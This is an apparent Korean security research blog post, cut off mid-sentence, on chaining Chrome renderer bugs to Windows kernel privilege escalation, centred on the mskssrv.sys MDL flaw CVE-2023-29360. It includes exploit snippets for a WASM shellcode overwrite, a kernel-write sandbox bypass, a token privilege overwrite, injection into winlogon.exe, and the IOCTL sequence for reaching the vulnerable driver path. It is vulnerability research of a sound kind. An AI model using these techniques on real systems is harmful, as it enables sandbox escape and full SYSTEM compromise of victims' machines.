[도닦기] 8단계: MDL Kernel EoP로 닦는 마지막 길 (KR)
안녕하세요. 이번에도 Hackyboiz의 banda입니다.

지난 연구글
https://hackyboiz.github.io/2026/06/06/OUYA77/Wipeload_step1/kr/
https://hackyboiz.github.io/2026/06/21/ji9umi/Wipeload_step2/kr/
https://hackyboiz.github.io/2026/06/26/ji9umi/Wipeload_step3/kr/
https://hackyboiz.github.io/2026/07/13/OUYA77/Wipeload_step4/kr/
https://hackyboiz.github.io/2026/07/19/gongjae/Wipeload_step5/KR/
https://hackyboiz.github.io/2026/08/01/gongjae/Wipeload_step6/KR/
https://hackyboiz.github.io/2026/08/08/banda/Wipeload_step7/KR/
도닦기 6단계에서는 showOpenFilePicker() 호출로 File Picker를 생성하고, 다수의 Thread로 _ETHREAD를 Reclaim한 뒤 임의 Read/Write Primitive를 확보해 Medium Integrity Context의 Code Execution까지 연결했습니다. 이어 7단계에서는 이 마지막 Kernel EoP에 필요한 MDL의 동작 원리와 Abuse 유형을 살펴보았는데요.
이번 글에서는 Kernel EoP는 어느 Context에서, 어떤 방식으로 Chaining과 연결할 수 있을지 확인하고, 확보한 Medium Integrity Context에서 CVE-2023-29360을 실행해 SYSTEM까지 도달하는 마지막 관문을 끝내보겠습니다.
1. Renderer에서 Kernel EoP 어떻게 연결할까
이전에도 언급되었지만, Renderer에서 Kernel EoP를 연결할 때는 프로세스의 Integrity Level만으로 실행 가능 여부를 판단할 수 없습니다. Sandbox 내부에서 해당 Kernel Exploit의 트리거와 후속 단계를 수행할 수 있는지가 관건인데요.

타이렁과의 뜨거운 한 판 승부를 벌이기에 앞서, 체이닝 시리즈에 알맞게 Renderer에서 Kernel Exploit으로 연결되는 실행 경로를 커널 관점에서 한번 알아보겠습니다.
1.1 Renderer에서 Kernel EoP를 직접 실행하는 방식
먼저 첫 번째 유형은 Renderer RCE 이후 별도의 File Picker와 같은 Medium IL Process로 이동하지 않고, Renderer Process 자체를 바로 Kernel Exploit의 실행 환경으로 사용하는 방식입니다.
이 유형에는 1. Kernel Exploit을 Renderer 내부에서 직접 실행하는 방식과, 2. Renderer Sandbox로 인해 막힌 후속 조건을 Kernel Primitive로 해소하는 방식이 함께 존재합니다. 유형 확인을 위해 CVE-2019-13720과 CVE-2019-1458(Kaspersky의 The Zero Day Exploits of Operation WizardOpium), 그리고 CVE-2024-30088을 이용한 Windows 11 Chrome Sandbox Escape(STAR Labs의 Fooling the Sandbox: A Chrome-atic Escape) Chaining 사례를 참고해보았습니다.
사례 1. Renderer 내부에서 Native Payload로 Kernel Exploit 직접 실행하기
먼저 첫 사례에서 CVE-2019-13720과 CVE-2019-1458은 각각 Chrome Renderer에서 AAR/AAW Primitive를 확보하는 취약점과 Windows Kernel EoP 취약점으로, Renderer 내부의 임의 R/W Primitive를 확보한 뒤 Kernel Exploit을 같은 Process 안에 배치하는 형식을 통해 Chain을 완성한 경우인데요.
그런데 이전에 Renderer는 Chrome Sandbox로 인해 Child Process를 만들 수 없다고 했던 것을 기억하시나요? 어떻게 별도의 Kernel Exploit을 실행할 수 있었는지, 잠시 한번 확인해봅시다.
1) Renderer R/W를 Native Code Execution으로 변환
이 Chain의 경우, 별도의 Child Process를 생성하는 대신 Renderer 내부의 실행 가능한 WASM 영역에 Kernel Stage를 직접 기록하는 방법을 택했는데요.
이를 위해 과거 WASM 기반 Chain에서 자주 활용되던 각 구성 요소를 살펴보면, 주로 다음과 같은 역할을 가졌습니다.
stubAddr: export 함수 호출이 처음 도달하는 분기 지점jump table: WASM 코드로 이어지는 호출 경로RWX code page: Payload 배치 영역
따라서 이 Chain에서도 Browser Exploit은 먼저 WASM Export Function이 진입하는 실행 영역의 주소인 stubAddr를 구하면서 시작합니다.
하지만 아직 JavaScript에서 stubAddr에 직접 값을 쓸 수는 없었습니다. CVE-2019-13720 Exploit에서는 이를 위해 AudioBuffer의 내부 포인터를 조작했는데요. 구체적으로는 DataHolder의 Data Pointer를 변조해 원래 오디오 샘플 버퍼를 가리키던 포인터가 stubAddr을 가리키도록 바꿨고, 이를 통해 JavaScript에서 수행한 버퍼 쓰기가 stubAddr 영역에 반영되도록 만들었습니다.
let dataHolderPtr =
read64(freelist, arrayBufferPtr + 0x8n);
write64(
freelist,
dataHolderPtr + 0x8n,
stubAddr
);
write64(
freelist,
dataHolderPtr + 0x10n,
0xFFFFFFFn
);
이렇게 하면 audioBuffer에서 생성한 Uint8Array는 정상적인 Audio Memory가 아니라 WASM 실행 영역을 가리키게 되고, 이후 배열에 데이터를 기록하면 그 내용이 stubAddr가 가리키는 WASM 함수의 진입 지점에 덮어써지게 되는데요.
Exploit은 이 영역에 Shellcode를 먼저 기록하고, 바로 뒤에 CVE-2019-1458 Kernel Exploit의 PE Image를 배치했습니다.
let payloadArray =
new Uint8Array(
audioBuffer.getChannelData(0).buffer
);
payloadArray.set(shellcode, 0);
payloadArray.set(peBinary, shellcode.length);
그리고 마지막으로 WASM Export Function인 wasmFuncA()을 호출하면..?
try {
wasmFuncA();
} catch (e) {
}
원래라면 wasmFuncA()를 호출하면 stubAddr의 stub 코드가 JIT 컴파일된 WASM 함수로 제어를 넘기는 과정인데, 해당 stub 코드 페이지가 이미 Shellcode로 덮여 있기 때문에 실제로는 Shellcode가 실행됩니다!🫨
결과적으로 Renderer의 임의 R/W Primitive가 동일한 프로세스 내부 Native Code Execution으로 이어지고, 따로 프로세스를 전환할 필요 없이 Kernel Exploit을 시작할 수 있게 되는 것이죠!
2) Renderer에서 win32k Kernel Stage 실행하기
이후 Shellcode가 CVE-2019-1458의 Entry Point로 실행을 넘기면, Kernel Exploit 역시 같은 Renderer 안에서 동작하겠죠? 중요한건 체인이 사용한 환경에서는 Chrome Renderer에 Win32k Lockdown이 적용이 안된 상태였기 때문에, Renderer 내부의 Native Code에서도 Window와 GDI Object를 생성하고 NtUserMessageCall()과 같은 win32k System Call을 직접 호출할 수 있었다는 점입니다.
NtUserMessageCall(hwnd, WM_CREATE, 0, 0, 0, 0xE0, TRUE);
SetWindowLongPtrW(hwnd, 0, controlledPointer);
NtUserMessageCall(hwnd, WM_ERASEBKGND, 0, 0, 0, 0xE0, TRUE);
Exploit은 이 경로로 CVE-2019-1458을 트리거한 뒤 발생한 Kernel Memory Corruption을 GDI Bitmap 기반 Kernel R/W로 확장했습니다. 이후 SYSTEM Process의 Token을 현재 Renderer에 복사해 별도의 File Picker나 Medium Process로 실행을 넘기지 않고도 SYSTEM에 도달할 수 있었습니다.
이전 도닦기 연구글을 읽어보셨다면 현재 Windows 11 환경의 경우 Chrome Renderer에서는 Win32k Lockdown으로 인해 win32k 기반으로 Kernel Exploit을 직접 연결하기는 어렵다는 것을 알 수 있는데요. 그렇다면 Renderer to direct Kernel EoP는 아예 불가능한 걸까요?
답은 아닙니다. 가능할 수도 있습니다. Win32k Lockdown은 win32k System Call 공격 표면을 크게 줄이긴 하지만, 아직 Chrome Sandbox가 모든 NT System Call 호출 경로를 완전히 차단하는 구조는 아니기 때문입니다.
또한 실제로 비교적 최근인 Windows 11 23H2 환경에서도 CVE-2024-30088 취약점을 통해 Untrusted Integrity에서 SYSTEM까지 연결된 바가 있습니다. 이 사례 역시 Medium Process로 이동하지 않은 Renderer 직접 실행형입니다. 다만 SYSTEM 권한을 얻은 뒤에 Renderer의 Job Object에 따른 자식 프로세스 생성 제한을 우회하기 위해 손을 좀 썼지만요. 이 과정을 바로 아래에서 확인해보시죠.
사례 2. Renderer 내 Kernel Primitive로 Sandbox 제약을 순차 우회하기
CVE-2024-30088을 이용한 Chaining 역시 Kernel Exploit을 시작하기 전에 Medium Process로 이동하지 않고, 코드 실행 권한을 확보한 Renderer에서 NtQueryInformationToken()을 바로 호출해 취약점을 트리거한 유형이었습니다.
기존 CVE-2024-30088 PoC는 Medium Integrity Process를 기준으로 작성되어, Untrusted Integrity의 Renderer에서는 Token Object 주소를 조회할 수 없었습니다. 이에 연구자는 제한적인 Kernel Write로 SepMediumDaclSd를 먼저 수정해 이러한 정보 조회 제한을 우회했습니다.
kernelTarget = sepMediumDaclSd - 23;
먼저 KernelTarget을 SepMediumDaclSd의 23바이트 앞당겨 써서 고정 길이 Write가 SepMediumDaclSd의 Control 필드에 도달하도록 합니다. 이 Write로 SE_SACL_PRESENT 비트가 비활성화되면 ExIsRestrictedCaller()가 수행하던 Medium Integrity 기준 검사가 우회됩니다.
그 뒤에는 NtQuerySystemInformation(SystemExtendedHandleInformation) 호출이 더 이상 STATUS_ACCESS_DENIED로 막히지 않으므로, Renderer가 자신의 Token 커널 주소를 조회할 수 있게 됩니다.
NTSTATUS status = NtQuerySystemInformation(
SystemExtendedHandleInformation,
handleInfo,
handleInfoLength,
&returnLength
);
rendererTokenAddress =
FindTokenObjectAddress(
handleInfo,
GetCurrentProcessId(),
token
);
그다음 Kernel Write Primitive의 Target을 Renderer Token의 Privilege 영역으로 변경해 SeDebugPrivilege를 활성화합니다.
kernelTarget = rendererTokenAddress + 0x40 - 4;
즉, 하나의 Kernel Primitive를 처음부터 Token에 사용한 것이 아니라, Token 주소 획득을 막는 제약을 먼저 제거한 뒤 동일한 Primitive를 권한 상승에 다시 사용한 것이죠.
그러나 Token Privilege를 수정한 뒤에도 Renderer에 적용된 Job Object의 Child Process 생성 제한은 남아 있는데, 이때 Renderer에서 직접 CreateProcess()를 호출하는 대신 활성화된 SeDebugPrivilege로 Job Object 밖에서 동작하는 SYSTEM Process인 winlogon.exe를 열고 최종 Payload를 주입하는 방법을 사용했습니다.
HANDLE hWinlogon = OpenProcess(
PROCESS_ALL_ACCESS,
FALSE,
winlogonPid
);
LPVOID remote = VirtualAllocEx(
hWinlogon,
nullptr,
payloadSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
WriteProcessMemory(
hWinlogon,
remote,
payload,
payloadSize,
nullptr
);
CreateRemoteThread(
hWinlogon,
nullptr,
0,
reinterpret_cast<LPTHREAD_START_ROUTINE>(remote),
nullptr,
0,
nullptr
);
이렇게 하면 최종 Payload는 Renderer가 아니라 winlogon.exe의 LocalSystem Context에서 실행됩니다. 그래도 Kernel Exploit의 트리거와 Primitive 확보가 Renderer 내부에서 이루어졌기 때문에, Renderer 안에서 직접 실행한 case로 분류할 수 있는 것이죠.
두 사례의 구현 방식은 다르지만, 별도의 Medium Process를 Kernel Exploit의 실행 환경으로 사용하지 않았다는 점에서 모두 Renderer 내부에서 직접 실행한 유형에 해당합니다.
1.2 Medium Process로 Handoff한 뒤 Kernel EoP를 실행하는 방식
사례 3: File Picker 기반 util_win Handoff 후 Kernel EoP 실행
두 번째 유형의 방식이 바로 도닦기 Chaining에 사용된 방식입니다. 바로 Renderer에서 Kernel Exploit을 직접 실행하지 않고, 먼저 Sandbox 밖의 Medium Integrity Process로 실행 흐름을 넘긴 뒤에 해당 Process에서 독립적인 Kernel LPE를 실행하는 방식인데요.
앞선 도닦기 6단계에서는 CVE-2023-21674를 이용하여 Chrome Sandbox 밖의 Medium Integrity Process로 실행 흐름을 넘겼습니다.
흐름을 조금 되짚어보면 먼저 Renderer에서 showOpenFilePicker()를 호출하면 Chrome은 Sandbox 밖의 Medium Integrity util_win Process를 생성했습니다. 이후 File Picker Thread로 CVE-2023-21674의 dangling _ETHREAD를 재점유해 WaitingThread가 util_win Thread를 가리키게 만들면, NtReadRequestData()와 NtWriteRequestData()는 WaitingThread->Tcb.Process를 따라 util_win Address Space에 대한 Cross-process R/W를 제공하는 흐름을 가지고 있었습니다.
여기까지가 첫 번째 Handoff입니다.
Medium Process에서 CVE-2023-29360(Kernel Stage) 실행
앞 Stage가 확보한 Medium Code Execution을 이용해 CVE-2023-29360 Kernel Stage를 시작하면서 두 취약점이 연결됩니다. 통합 Chaining PoC에서는 CVE-2023-21674의 NtWriteRequestData() 경로를 이용해 Medium Integrity Victim의 Address Space에 값을 기록할 수 있는 Write Primitive를 확보합니다. (여기서 Handoff 과정을 검증하기 위해 Chaining PoC에서 준비한 Medium Integrity 테스트 프로세스를 Victim이라고 하겠습니다.)
NtWriteRequestData(
g_server_hdl,
g_recv_pm,
1,
&g_stage2_addr,
sizeof(g_stage2_addr),
&written
);
이 호출은 Victim의 전역 함수 포인터 g_victim_cb에, CVE-2023-29360 Kernel Stage의 시작 주소인 g_stage2_addr를 기록합니다. g_victim_cb는 체인 연결을 위해 Victim 프로그램에 구현해놓은 callback 함수 포인터인데, Victim의 callback 루프가 이 변수에 저장된 함수 주소를 읽어 호출합니다. 평소에는 기본 callback 함수를 가리키지만, Write 이후에는 Kernel Stage를 가리키게 됩니다.
VictimCb fn = g_victim_cb;
if (fn != VictimDefaultCb) {
fn();
}
Victim의 callback loop가 변경된 함수 포인터를 호출하면, Kernel Stage는 Write를 수행한 Exploit Process가 아니라 Victim 자신의 Thread와 Medium Integrity Context에서 실행됩니다. 따라서 이후 mskssrv.sys Handle 생성과 IOCTL 요청도 다 Victim Context에서 수행이 되게 됩니다!
이후 Kernel Stage는 mskssrv.sys의 취약한 경로를 이용해 Victim Token이 위치한 Kernel Page를 User Mode에 매핑하고, _SEP_TOKEN_PRIVILEGES의 Present와 Enabled Bitmap을 수정합니다. MDL 생성과 PublishTx, ConsumeTx의 세부 동작은 뒤에서 자세히 살펴보고, 여기서는 Chaining 결과에만 집중하겠습니다.
memset(mapped, 0xFF, kPrivilegeBytes);
if (!EnablePrivilege(SE_DEBUG_NAME)) {
goto signal_done;
}
이 과정을 통해 Victim은 SeDebugPrivilege를 사용할 수 있게 됩니다. 다만 Victim의 Token 자체가 SYSTEM Token으로 교체되는 것은 아니므로, Victim은 여전히 Medium Integrity Context에 남아 있습니다.
따라서 PoC는 확보한 권한으로 LocalSystem Process인 winlogon.exe를 열고, 해당 Process 내부에 Shellcode를 기록한 뒤 Remote Thread를 생성합니다.
DWORD winlogonPid = FindPidByName(L"winlogon.exe");
HANDLE hWinlogon = OpenProcess(
PROCESS_ALL_ACCESS,
FALSE,
winlogonPid
);
LPVOID remote = VirtualAllocEx(
hWinlogon,
nullptr,
0x1000,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE
);
WriteProcessMemory(
hWinlogon,
remote,
shellcode,
sizeof(shellcode),
nullptr
);
CreateRemoteThread(
hWinlogon,
nullptr,
0,
reinterpret_cast<LPTHREAD_START_ROUTINE>(remote),
nullptr,
0,
nullptr
);
Remote Thread는 Victim이 아니라 winlogon.exe 내부에서 실행되므로, 최종 Payload 역시 winlogon.exe의 LocalSystem Token Context에서 동작합니다. 이 시점에서 Medium Process에서 SYSTEM Process로 이어지는 두 번째 Handoff가 완성됩니다.
결국 이 유형의 핵심은 Kernel LPE를 실행할 Medium Context를 확보하고, 그 안에서 CVE-2023-29360을 독립적으로 실행한 뒤, 확보한 결과를 SYSTEM Process Code Execution으로 연결하는 구조입니다. 독립적인 Kernel Exploit을 Medium Process에서 이어 붙인 구조에 가깝다고 볼 수 있습니다.
CVE-2023-21674와 CVE-2023-29360 체이닝 영상입니다. 앞선 5&6단계에서 CVE-2023-21674 기반 Chrome Sandbox Escape를 다뤄주신 gongjae님께서 체이닝에 도움을 주셨습니다. 감사합니다.
2. CVE-2023-29360: mskssrv.sys MDL Abuse를 통한 Kernel EoP

앞에서는 Medium Integrity Process에서 CVE-2023-29360을 실행해 SYSTEM까지 연결하는 Chaining 구조를 살펴보았습니다. 이제 드디어 MDL Abuse Kernel EoP 취약점인 CVE-2023-29360을 파헤쳐볼 시간이 왔네요.. Theori에서 다룬 Chaining의 마지막 단계이기도 한데요. MDL 관련 생성 흐름 개념은 지난 7단계 연구글에서 다루었으니 바로 진행해보도록 하겠습니다. (필요하면 참고해 주세요.😉)
CVE-2023-29360은 스트리밍 데이터를 Kernel Mode에서 처리하는 mskssrv.sys에서 발생한 취약점입니다. 핵심은 유저모드에서 전달한 주소를 기반해 MDL을 생성하면서, 해당 주소를 커널모드에서 전달된 신뢰 가능한 포인터처럼 처리한다는 점이 문제가 됩니다.
2.1 Root Cause: User Pointer의 KernelMode MDL 처리
이 취약점 핵심을 살짝 요약해보면 취약한 드라이버의 PublishTx 경로에서 유저모드 Frame Descriptor에서 Address와 Size를 가져와 MDL을 생성하는 흐름에 있습니다. 해당 과정 이후 FsAllocAndLockMdl()이 이 값을 MmProbeAndLockPages()로 전달하는데, AccessMode를 KernelMode로 고정하면서 유저 포인터에 필요한 주소 범위 검사가 건너뛰어지는 부분이 핵심입니다.
User Input으로 FSFrameMdl 생성
먼저 유저 인풋이 MDL 생성에 사용되는 PublishTx 경로부터 알아보겠습니다. FSRendezvousServer::PublishTx()가 현재 Handle의 FSStreamReg 객체를 찾으면, 내부적으로 FSStreamReg::PublishTx()를 호출합니다.
이 함수는 먼저 CheckRecycle()을 통해 입력 Buffer의 기본 형식을 확인하는데요. 이후 data + 0x24에 저장된 Frame 개수만큼 반복하는 작업을 하면서 각 Frame에 대응하는 FSFrameMdl 객체를 생성한 뒤에, 유저 인풋을 이용해 MDL을 할당합니다.
__int64 __fastcall FSStreamReg::PublishTx(FSStreamReg *FsStreamRegObj, __int64 data)
{
// [1]. Validate Input Buffer
result = FSStreamReg::CheckRecycle(FsStreamRegObj, data);
if (result < 0)
return result;
// [2]. Repeat until data+0x24
for (idx = 0; idx < *(data + 0x24); ++idx)
{
offset = 0x88i64 * idx;
if (*(offset + data + 0x70))
{
// Allocate memory
buffer = operator new(0xD8ui64, unknown, 0x736C644Du);
if (buffer)
{
*(buffer + 16) = 0;
*(buffer + 208) = 0;
memset((buffer + 24), 0, 0xB8ui64);
}
else
{
return 0xC000009A;
}
// [3]. Allocate MDL by using user supplied data
result = FSFrameMdl::AllocateMdl(buffer, offset + data + 0x28);
if (result < 0)
{
// ERROR
}
// [4]. insert the MDL to FSFrameMdlList in FsStreamRegObject
FSFrameMdlList::InsertTail((FsStreamRegObj + 0xC8), buffer);
...
}
}
}
각 Frame Descriptor의 크기는 0x88바이트로 구성되고, 첫 번째 Frame은 data + 0x28부터 시작하는 것을 알 수 있는데요. 이 Frame 내부에는 MDL 생성에 사용할 Address, Size, Mapping Flag가 포함되어 있습니다.
코드를 확인해보면 CheckRecycle()과 인풋 버퍼 크기는 검증하지만, Frame 내부에 있는 Address가 유저 주소 범위 안에 속하는지는 이 단계에서 확인을 딱히 하지 않는데요. 이렇게 생성된 FSFrameMdl은 리스트에 들어간 뒤 ConsumeTx에서 다시 꺼내져 사용됩니다.
User Pointer가 MDL 생성에 사용되는 과정
PublishTx에서 접근하는 FSFrameMdl::AllocateMdl()은 유저모드에서 전달된 0x88바이트 Frame Descriptor를 Kernel Object 내부에 그대로 복사합니다.
__int64 __fastcall FSFrameMdl::AllocateMdl(FSFrameMdl *FsFrameMdlobj, __int64 user_data)
{
// [5]. Copy User Data
HandleInformation = 0i64;
Object = 0i64;
memcpy(FsFrameMdlobj + 0x18, user_data, 0x88);
mapflag = *(user_data + 0x48);
if (!mapflag)
{
// Omitted
}
switch (mapflag)
{
case 4:
case 8:
// [*] Create MDL by using user supplied data
result = FsAllocAndLockMdl(
*(user_data + 0x20),
*(user_data + 0x34),
FsFrameMdlobj + 0xA0
);
if (result < 0)
{
/* ERROR */
}
case 1:
// [*] Create MDL by using user supplied data
result = FsAllocAndLockMdl(
*(user_data + 0x38),
*(user_data + 0x44),
FsFrameMdlobj + 0xB0
);
if (result < 0)
{
/* ERROR */
}
...
}
}
여기에서 MDL 생성에서 사용되는 값은 아래와 같습니다. MapFlag 값에 따라서, MapFlag가 4 또는 8일 경우 user_data + 0x20 의 Address1, Size1로 MDL을 생성한 뒤에, break 없이 다음 case 1의 코드까지 이어서 실행되면서 user_data + 0x38의 Address2, Size2가 같이 처리되는 것을 알 수 있습니다.
// frame[i] = data + 0x28 + (i * 0x88)
typedef struct _FRAME_DESCRIPTOR {
BYTE Unknown00[0x20]; // +0x00
PVOID Address1; // +0x20
BYTE Unknown28[0x0C]; // +0x28
ULONG Size1; // +0x34
PVOID Address2; // +0x38
BYTE Unknown40[0x04]; // +0x40
ULONG Size2; // +0x44
ULONG MapFlag; // +0x48
BYTE Unknown4C[0x3C]; // +0x4C
} FRAME_DESCRIPTOR; // Size: 0x88
그런데 앞서 Address에 대해 유저 주소 안에 있는지 검증을 하지 않는다고 했죠. 그럼 만약 Frame Descriptor의 Address 필드에 유저 주소가 아니라 가상 커널 주소를 넣고 이게 다음 MDL 생성 경로로 전달돼서 KernelMode 처리까지 결합되면..?🤓 맛있는 BSOD를 얻을 수 있겠네요.
Root Cause: KernelMode로 고정된 AccessMode
실제 Root Cause는 FsAllocAndLockMdl() 내부에서 확인할 수 있습니다.
__int64 __fastcall FsAllocAndLockMdl(void *address, ULONG size, _MDL **mdl_object)
{
if (!address || !size || !mdl_object)
return 0xC000000D;
// [6]. Allocate MDL
Alloc_Mdl = IoAllocateMdl(address, size, 0, 0, 0i64);
if (!Alloc_Mdl)
return 0xC000009A;
// [7]. Probe and Lock MDL with "KernelMode(0)"
MmProbeAndLockPages(Alloc_Mdl, 0, IoWriteAccess);
*mdl_object = Alloc_Mdl;
return 0;
}
코드에 나와있는 IoAllocateMdl()에 전달되는 Address와 Size는 앞서 User Frame Descriptor에서 가져온 값일 텐데요. 가장 큰 문제는 다음 호출입니다.
MmProbeAndLockPages(Alloc_Mdl, 0, IoWriteAccess);
여기에서 두 번째 인자인 0은 KernelMode를 의미합니다. 유저모드에서 전달된 Address를 처리한다면 유저모드를 사용해야 하지만, 취약한 코드에서는 유저 주소인지 커널 주소인지 입력된 출처와 관계 없이 KernelMode로 하드코딩되어 처리하는 것을 알 수 있습니다..
이후 이 경로를 타고 MmProbeAndLockPages() 안으로 들어가면 내부적으로 MiProbeAndLockPages()와 MiProbeAndLockPrepare()로 이어지는 흐름을 수행하는데요.
__int64 __fastcall MiProbeAndLockPrepare(
__int64 buffer,
PMDL MemoryDescriptorList,
unsigned __int64 address,
unsigned int size,
char AccessMode,
int is_read,
int flag)
{
v8 = is_read;
v10 = address + size;
*(_QWORD *)(buffer + 72) = KeGetCurrentThread();
v56 = 0;
*(_QWORD *)(buffer + 56) = MemoryDescriptorList;
*(_DWORD *)(buffer + 88) = is_read;
*(_QWORD *)buffer = address; // Base Address
*(_QWORD *)(buffer + 8) = address + size; // Start Address
// Check Address with the AccessMode==UserMode(1)
if (AccessMode)
{
if (address + size > 0x7FFFFFFFF000i64 ||
address >= address + size)
{
++dword_140C4E5F8;
return 0xC0000005;
}
}
}
앞서 KernelMode(0)로 전달되어 MmProbeAndLockPages()로 진입한다고 설명했는데, 내부 코드를 확인해보면 AccessMode가 UserMode, 즉 1일 때만 아래와 같은 검증을 수행한다는 것을 알 수 있습니다. 이게 무슨 의미일까요?
address + size가 User Address Space의 상한을 넘는지address + size계산에서 Overflow가 발생하는지
즉, 애초에 우리가 전달한 값은 if (AccessMode) 분기로 진입하지 않으면서 검증을 피하게 되는 것이죠.
그렇다고 모든 종류의 검사가 사라지고, 아무 Kernel Address나 사용할 수 있는 것은 아닙니다. 왜냐하면 유효하지 않은 Kernel Address라면 여전히 Fault가 발생할 수 있기 때문이죠. 그래도 핵심은 유저 포인터에 적용되어야 할 주소 검증 검사가 수행되지 않는다는 문제입니다.
정리해보면 이 취약점은 정상적인 MDL API가 공격자가 선택한 커널 주소를 신뢰하도록 만든 MDL Abuse 계열의 취약점입니다. 그 결과 공격자가 선택한 커널 페이지가 MDL에 연결되고, 이후 ConsumeTx가 이 MDL을 유저모드에 매핑하면 비로소 Kernel Memory R/W Primitive로 이어질 수 있습니다.
이제 실제로 이 MDL을 유저모드 주소 공간에 매핑하는 ConsumeTx 경로를 한번 알아보도록 하시죠.
2.2 취약 경로와 도달 조건
PublishTx와 ConsumeTx
본격적으로 취약 경로에 도달하고 exploit을 진행하기 위한 준비 과정을 한번 살펴봅시다. 취약 드라이버인 mskssrv.sys와 유저모드에서 통신하려면 해당 드라이버가 등록된 Device Interface를 찾아 Handle을 열어야 합니다. FrameService.dll을 분석하면 Device Interface GUID를 조회한 뒤에 CreateFileW()로 장치를 여는 것을 알 수 있습니다.
CM_Get_Device_Interface_ListW(
&GUID_KSNAME_Server,
nullptr,
devicePath,
devicePathLength,
0
);
HANDLE hDevice = CreateFileW(
devicePath,
GENERIC_READ | GENERIC_WRITE,
0,
nullptr,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
nullptr
);
장치를 열고 DeviceIoControl()을 호출하면, 요청한 IOCTL에 따라 mskssrv!SrvDispatchIoControl 내부에서 각각 PublishTx(0x2F0408)와 ConsumeTx(0x2F0410) 경로로 분기합니다.
__int64 __fastcall SrvDispatchIoControl(__int64 deviceObj, IRP *irp)
{
ioctlcode = irp->Tail.Overlay.CurrentStackLocation->Parameters.DeviceIoControl.IoControlCode;
switch(ioctlcode){
case 0x2F0408:
RendezvousServerObj = NULL
KeWaitForSingleObject(&Mutex, Executive, 0, 0, 0i64);
result = FSGetRendezvousServer(&RendezvousServerObj);
if ( result >= 0 )
{
result = FSRendezvousServer::PublishTx(RendezvousServerObj, irp); // PublishTx
FSRendezvousServer::Release(RendezvousServerObj);
}
...
case 0x2F0410:
RendezvousServerObj = NULL
KeWaitForSingleObject(&Mutex, Executive, 0, 0, 0i64);
result = FSGetRendezvousServer(&RendezvousServerObj);
if ( result >= 0 )
{
result = FSRendezvousServer::ConsumeTx(RendezvousServerObj, irp); // ConsumeTx
FSRendezvousServer::Release(RendezvousServerObj);
}
PublishTx 경로는 앞서 확인했던 것처럼 유저 인풋에 포함된 Address와 Size를 바탕으로 MDL을 생성하고 드라이버 내부 리스트에 저장합니다. 그리고 ConsumeTx는 앞서 저장된 MDL을 꺼내 유저모드 주소 공간에 매핑하는 역할을 합니다.
앞 절에서 살펴봤듯이 취약한 MDL은 PublishTx에서 생성됩니다. 다만 실제 Kernel Memory R/W Primitive는 ConsumeTx가 이 MDL을 유저모드 주소 공간에 매핑해야 완성됩니다. 이제 이 두 경로에 도달하기 위해 필요한 준비 과정을 살펴보겠습니다.
Rendezvous Server 초기화
앞에서 PublishTx와 ConsumeTx로 이어지는 IOCTL 경로를 확인했지만, PublishTx를 바로 호출할 수 있는 것은 아닙니다. Dispatch 코드를 확인해보면 PublishTx를 실행하기 전에, FSGetRendezvousServer()가 먼저 성공해야 합니다.
__int64 __fastcall SrvDispatchIoControl(__int64 deviceObj, IRP *irp)
{
ioctlcode = irp->Tail.Overlay.CurrentStackLocation->Parameters.DeviceIoControl.IoControlCode;
switch(ioctlcode){
case 0x2F0408:
RendezvousServerObj = NULL
KeWaitForSingleObject(&Mutex, Executive, 0, 0, 0i64);
result = FSGetRendezvousServer(&RendezvousServerObj); // [*] should be succeeded
if ( result >= 0 )
{
result = FSRendezvousServer::PublishTx(RendezvousServerObj, irp); // PublishTx
FSRendezvousServer::Release(RendezvousServerObj);
FSGetRendezvousServer()는 글로벌 변수에 저장된 Rendezvous Server Object를 반환합니다.
__int64 __fastcall FSGetRendezvousServer(struct FSRendezvousServer **RendezvousServerObjPtr)
{
result = 0;
if (ServerObj_1C0005048)
{
// Store ServerObj_1C0005048 to RendezvousServerObjPtr
*RendezvousServerObjPtr = ServerObj_1C0005048;
_InterlockedIncrement(ServerObj_1C0005048
...
}
else
{
result = 0xC0000010;
}
KeReleaseMutex(&Mutex, 0);
return v2;
}
해당 전역 Object는 FSInitializeContextRendezvous()에서 생성됩니다.
__int64 __fastcall FSInitializeContextRendezvous(struct _IRP *a1)
{
...
RendezvousServerObj = operator new(0xA0ui64, v3, 0x73767A52u);
if (RendezvousServerObj)
{
// Initializing RendezvousServerObj
}
ServerObj_1C0005048 = RendezvousServerObj;
...
따라서 PoC를 구성할 때 가장 먼저 IOCTL 0x2F0400을 호출해 Rendezvous Context를 초기화해야 합니다.
success = FSInitializeContextRendezvous(DeviceH1);
이 과정은 Publisher와 Consumer Stream이 공유할 FSRendezvousServer 객체를 만드는 사전 단계입니다. 전역 Object가 준비되지 않으면 FSGetRendezvousServer()가 실패하므로 PublishTx와 ConsumeTx에 도달할 수 없습니다.
InitializeStream()과 FsContext2
Rendezvous Server를 준비한 이후에는, IOCTL 0x2F0404를 호출해 FSStreamReg 객체를 생성합니다.
__int64 __fastcall FSRendezvousServer::InitializeStream(FSRendezvousServer *this, struct _IRP *irp)
{
obj = irp->Tail.Overlay.CurrentStackLocation;
if (obj->Parameters.DeviceIoControl.IoControlCode != 0x2F0404 || obj->FileObject->FsContext2)
{
result = 0xC0000010;
}
else
{
data = (__int64)irp->AssociatedIrp.MasterIrp;
/**
Validate User Data
**/
// Allocate Buffer
buffer = (FSStreamReg *)operator new(0x1D8ui64, (enum _POOL_TYPE)irp, 0x67657253u);
if (buffer)
FSStreamReg_obj = (volatile signed __int32 *)FSStreamReg::FSStreamReg(buffer); // Setup FSStreamReg
if (!FSStreamReg_obj)
return 0xC000009A;
// Initialize FSStreamReg
if ((unsigned int)Feature_Servicing_TeamsUsingMediaFoundationCrashes__private_IsEnabled())
result = FSStreamReg::Initialize((FSStreamReg *)FSStreamRegObj, irp, v11, data, irp->RequestorMode);
else
result = FSStreamReg::Initialize((FSStreamReg *)FSStreamRegObj, v10, data, irp->RequestorMode);
...
// [*] Save FSStreamReg_obj to FsContext2
obj->FileObject->FsContext2 = (PVOID)FSStreamReg_obj;
_InterlockedIncrement(FSStreamReg_obj + 6);
함수 시작 부분에서는 현재 Handle의 FILE_OBJECT→FsContext2가 이미 사용 중인지 확인합니다. 그리고 값이 비어 있다면 0x1D8 크기 FSStreamReg 객체를 생성하고 초기화한 뒤, 해당 주소를 FsContext2라는 필드에다가 저장합니다.
obj->FileObject->FsContext2 = (PVOID)FSStreamReg_obj;
유저모드 애플리케이션이
